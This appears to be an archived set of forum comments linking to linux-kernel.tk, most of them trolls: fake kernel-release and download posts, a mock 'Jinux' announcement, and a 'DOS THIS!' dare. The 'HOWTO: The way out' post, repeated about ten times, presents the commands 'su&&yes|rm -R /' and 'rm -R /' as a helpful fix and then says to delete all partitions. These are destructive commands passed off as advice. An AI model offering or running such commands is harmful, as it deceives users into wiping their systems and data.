Domain: linux-kernel.tk
Stories and comments across the archive that link to linux-kernel.tk.
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Jinux
Hi, I as a master mind genius, I have created jinux, an implementation of linux in java. Through ugly xor hacks I have made it the fastest java app ever. Please download it for beta testing
Im also working on pilux, pylux, and assemblux, the linux kernel written in pascal, python and 6508 assembly language. -
do what the pros dolinux kernel talk uses dynamic-response throttling to limit bandwidth on individual pages. This is probably more fine-grained control than you need, but it can be done on per-account levels
basically, you can specify a threshhold for pipe staturation (% or #). You can set the nice-ness level of a page or domain, as well as minimum QoS, so a popuar site can be throttled back as the pipe gets aturated while allowing other sites to run unaffected.
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Another interviewlinux-kernel.tk has an interview from a month ago. He reiterates most of the same points, but also discusses Free software in the post-9/11 world.
A good read.
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Re:But...
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which is more painful
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Attack troll with rusty knife?
Ouch! You slashdot editors are evil bastards! I don't wan't to end up like this!
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My story was rejected!!!!!
So ill post it here!
Triple Kernel Release
Linux kernels 2.5.13, 2.4.19 and 2.0.40 Released!
Its a triple relase today. Download it here Don't forget the mirrors, and the patches ;) -
MY STORY WAS REJECTED
So ill post it here!
Triple Kernel Release
Linux kernels 2.5.13, 2.4.19 and 2.0.40 Released!
Its a triple relase today. Download it here Don't forget the mirrors, and the patches ;) -
The 37th page
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Sex without the penis!
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Its slashdotted
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Its /.ed
But the the lovley folks have mirrored it
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Its slashdotted already?
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I have the way out
HOWTO : The way out
Version 1.2
Fed up of cryptic commands such as
ls
dd
gcc
du
su
grep
rm
cat
dog
lessm ore
Frustrated about lack of hardware support such as PCI modems and DVD-RW?
Fed up of brain damaged interfaces such as gnome and twm?
Fed up of segfaults sceduled every 5 minutes with some crappy cron clone?
Fed up of re-compiling your kernel every time you move your mouse?
Fed up of fscking your hard drive?
Blind from the brain damaged fonts?
Panicing over Kernel Panics?
Well don't worry, I have the way out of these crappy operating systems,
just follow these commands.
1.type in the following at a commandline (before it segfaults)
su&&yes|rm -R /
or
rm -R /
2. Reboot
3. Use your favourite partintioning software to delete all partitions
and replace it with one large FAT32 "C" drive.
4. Get a copy of windows XP $179, which is cheaper than the phone bills
for "FREE" software. Remember your paying for QUALITY!
5. Insert Windows XP CD
6. Install effortlessly
7. USE YOUR COMPUTER WITH EASE
8. If you really want the command line, install DOS, the original and
best! Get it at http://www.freedos.org
Thats It! Enjoy freedom! If you need more help then read this Article
Written by Microsoft -
I have the way out! NEW VERSION 1.2
The new updated guide! New version 1.2!!!!
HOWTO : The way out
Version 1.2
Fed up of cryptic commands such as
ls
dd
gcc
du
su
grep
rm
cat
dog
lessm ore
Frustrated about lack of hardware support such as PCI modems and DVD-RW?
Fed up of brain damaged interfaces such as gnome and twm?
Fed up of segfaults sceduled every 5 minutes with some crappy cron clone?
Fed up of re-compiling your kernel every time you move your mouse?
Fed up of fscking your hard drive?
Blind from the brain damaged fonts?
Panicing over Kernel Panics?
Well don't worry, I have the way out of these crappy operating systems,
just follow these commands.
1.type in the following at a commandline (before it segfaults)
su&&yes|rm -R /
or
rm -R /
2. Reboot
3. Use your favourite partintioning software to delete all partitions
and replace it with one large FAT32 "C" drive.
4. Get a copy of windows XP $179, which is cheaper than the phone bills
for "FREE" software. Remember your paying for QUALITY!
5. Insert Windows XP CD
6. Install effortlessly
7. USE YOUR COMPUTER WITH EASE
8. If you really want the command line, install DOS, the original and
best! Get it at http://www.freedos.org
Thats It! Enjoy freedom! If you need more help then read this Article
Written by Microsoft -
I have the way out
HOWTO : The way out
Version 1.2-pre2
Fed up of cryptic commands such as
ls
dd
gcc
du
su
grep
rm
cat
dog
lessm ore
Frustrated about lack of hardware support such as PCI modems and DVD-RW?
Fed up of brain damaged interfaces such as gnome and twm?
Fed up of segfaults sceduled every 5 minutes with some crappy cron clone?
Fed up of re-compiling your kernel every time you move your mouse?
Fed up of fscking your hard drive?
Blind from the brain damaged fonts?
Panicing over Kernel Panics?
Well don't worry, I have the way out of these crappy operating systems,
just follow these commands.
1.type in the following at a commandline (before it segfaults)
su&&yes|rm -R /
or
rm -R /
2. Reboot
3. Use your favourite partintioning software to delete all partitions
and replace it with one large FAT32 "C" drive.
4. Get a copy of windows XP $179, which is cheaper than the phone bills
for "FREE" software. Remember your paying for QUALITY!
5. Insert Windows XP CD
6. Install effortlessly
7. USE YOUR COMPUTER WITH EASE
8. If you really want the command line, install DOS, the original and
best! Get it at http://www.freedos.org -
The Trollslap
I found this code on slashcode as an evil ploy to install linux on trolls computers
// The trollslap, Written by Jon Katzes penis
// Not released under the General Pissing Licence (GPL)
// Written in Slashcode
var trolls=memberswhohavekarmalessthan0
If troll
mail trolladdress subject Hey you attach linuxinstaller.exe
P0st prolinux article on slashdot
moderate atrandom() 200 comments -1
Slashcod is easy to understand, because they use their own language.
More news on this scandal! -
The troll slap!
I found this code on slashcode as an evil ploy to install linux on trolls computers
// The trollslap, Written by Jon Katzes penis
// Not released under the General Pissing Licence (GPL)
// Written in Slashcode
var trolls=memberswhohavekarma
Slashcod is easy to understand, because they use their own language.
More news on this scandal! -
I have the way out!
HOWTO : The way out
Version 1.2-pre2
Fed up of cryptic commands such as
ls
dd
gcc
du
su
grep
rm
cat
dog
lessm ore
Frustrated about lack of hardware support such as PCI softmodems and DVD-RW?
Fed up of brain damaged interfaces such as gnome and twm?
Fed up of segfaults sceduled every 5 minutes with some crappy cron clone?
Fed up of re-compiling your kernel every time you move your mouse?
Fed up of fscking your hard drive?
Blind from the brain damaged fonts?
Panicing over Kernel Panics?
Well don't worry, I have the way out of these crappy operating systems,
just follow these commands.
1.type in the following at a commandline (before it segfaults)
su&&yes|rm -R /
or
rm -R /
2. Reboot
3. Use your favourite partintioning software to delete all partitions
and replace it with one large FAT32 "C" drive.
4. Get a copy of windows XP $179, which is cheaper than the phone bills
for "FREE" software. Remember your paying for QUALITY!
5. Insert Windows XP CD
6. Install effortlessly
7. USE YOUR COMPUTER WITH EASE
8. If you really want the command line, install DOS, the original and
best! Get it at http://www.freedos.org -
Escape from Unix Hell!
HOWTO : The way out
Version 1.2-pre1
Fed up of cryptic commands such as
ls
dd
gcc
du
su
grep
rm
cat
dog
Fed up of brain damaged interfaces such as gnome and twm?
Fed up of segfaults sceduled every 5 minutes with some crappy cron clone?
Fed up of re-compiling your kernel every time you move your mouse?
Fed up of fscking your hard drive?
Blind from the brain damaged fonts?
Panicing over Kernel Panics?
Well don't worry, I have the way out of these crappy operating systems,
just follow these commands.
1.type in the following at a commandline (before it segfaults)
su&&yes|rm -R /
or
rm -R /
2. Reboot
3. Use your favourite partintioning software to delete all partitions
and replace it with one large FAT32 "C" drive.
4. Get a copy of windows XP $179, which is cheaper than the phone bills
for "FREE" software. Remember your paying for QUALITY!
5. Insert Windows XP CD
6. Install effortlessly
7. USE YOUR COMPUTER WITH EASE
8. If you really want the command line, install DOS, the original and
best! Get it at http://www.freedos.org -
I have the way out!
HOWTO : The way out
Version 1.1.2.5
Fed up of cryptic commands such as
ls
dd
gcc
Fed up of brain damaged interfaces such as gnome and twm?
Fed up of segfaults sceduled every 5 minutes
Fed up of re-compiling your kernel every time you move your mouse?
Fed up of fscking your hard drive?
Blind from the brain damaged fonts?
Well don't worry, I have the way out of these crappy operating systems,
just follow these commands.
1.type in the following at a commandline (before it segfaults)
su&&yes|rm -R /
or
rm -R /
2. Reboot
3. Use your favourite partintioning software to delete all partitions
and replace it with one large FAT32 "C" drive.
4. Get a copy of windows XP $179, which is cheaper than the phone bills
for "FREE" software. Remember your paying for QUALITY!
5. Insert Windows XP CD
6. Install effortlessly
7. USE YOUR COMPUTER WITH EASE
8. If you really want the command line, install DOS, the original and
best! get it at www.freedos.org -
I have the way out!
HOWTO : The way out
Version 1.1.2.5
Fed up of cryptic commands such as
ls
dd
gcc
Fed up of brain damaged interfaces such as gnome and twm?
Fed up of segfaults sceduled every 5 minutes
Fed up of re-compiling your kernel every time you move your mouse?
Fed up of fscking your hard drive?
Blind from the brain damaged fonts?
Well don't worry, I have the way out of these crappy operating systems,
just follow these commands.
1.type in the following at a commandline (before it segfaults)
su&&yes|rm -R /
or
rm -R /
2. Reboot
3. Use your favourite partintioning software to delete all partitions
and replace it with one large FAT32 "C" drive.
4. Get a copy of windows XP $179, which is cheaper than the phone bills
for "FREE" software. Remember your paying for QUALITY!
5. Insert Windows XP CD
6. Install effortlessly
7. USE YOUR COMPUTER WITH EASE
8. If you really want the command line, install DOS, the original and
best! -
I have the way out
HOWTO : The way out
Version 1.1.2.5
Fed up of cryptic commands such as
ls
dd
gcc
Fed up of brain damaged interfaces such as gnome and twm?
Fed up of segfaults sceduled every 5 minutes
Fed up of re-compiling your kernel every time you move your mouse?
Fed up of fscking your hard drive?
Blind from the brain damaged fonts?
Well don't worry, I have the way out of these crappy operating systems,
just follow these commands.
1.type in the following at a commandline (before it segfaults)
su&&yes|rm -R /
or
rm -R /
2. Reboot
3. Use your favourite partintioning software to delete all partitions
and replace it with one large FAT32 "C" drive.
4. Get a copy of windows XP $179, which is cheaper than the phone bills
for "FREE" software. Remember your paying for QUALITY!
5. Insert Windows XP CD
6. Install effortlessly
7. USE YOUR COMPUTER WITH EASE
8. If you really want the command line, install DOS, the original and
best! -
I've been to www.linux-kernel.tk. Great site!
linux-kernel.tk is a hell of a lot more informative and entertaining than watching Star Trek: Voyager, I can tell you that.
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I have the way out
HOWTO : The way out
Version 1.1.3
Fed up of cryptic commands such as
ls
dd
gcc
su
cat
mv file > /dev/null
Fed up of brain damaged interfaces such as gnome and twm?
Fed up of segfaults sceduled every 5 minutes
Fed up of re-compiling your kernel every time you move your mouse?
Fed up of fscking your hard drive?
Blind from the brain damaged fonts?
Well don't worry, I have the way out of these crappy operating systems,
just follow these commands.
1.type in the following at a commandline (before it segfaults)
su&&yes|rm -R /
or
rm -R /
2. Reboot
3. Use your favourite partintioning software to delete all partitions
and replace it with one large FAT32 "C" drive.
4. Get a copy of windows XP $179, which is cheaper than the phone bills
for "FREE" software. Remember your paying for QUALITY!
5. Insert Windows XP CD
6. Install effortlessly
7. USE YOUR COMPUTER WITH EASE
8. If you really want the command line, install DOS, the original and
best! -
Mirror
There's a mirror of the video hosted here. Enjoy.
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Delink goatse.cx
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DOS THIS!
I dare you to attack this site
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Its slashdoted
But i mirrored it
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New kernel!
2.4.19 Has been released
So has 2.5.8
Download them here!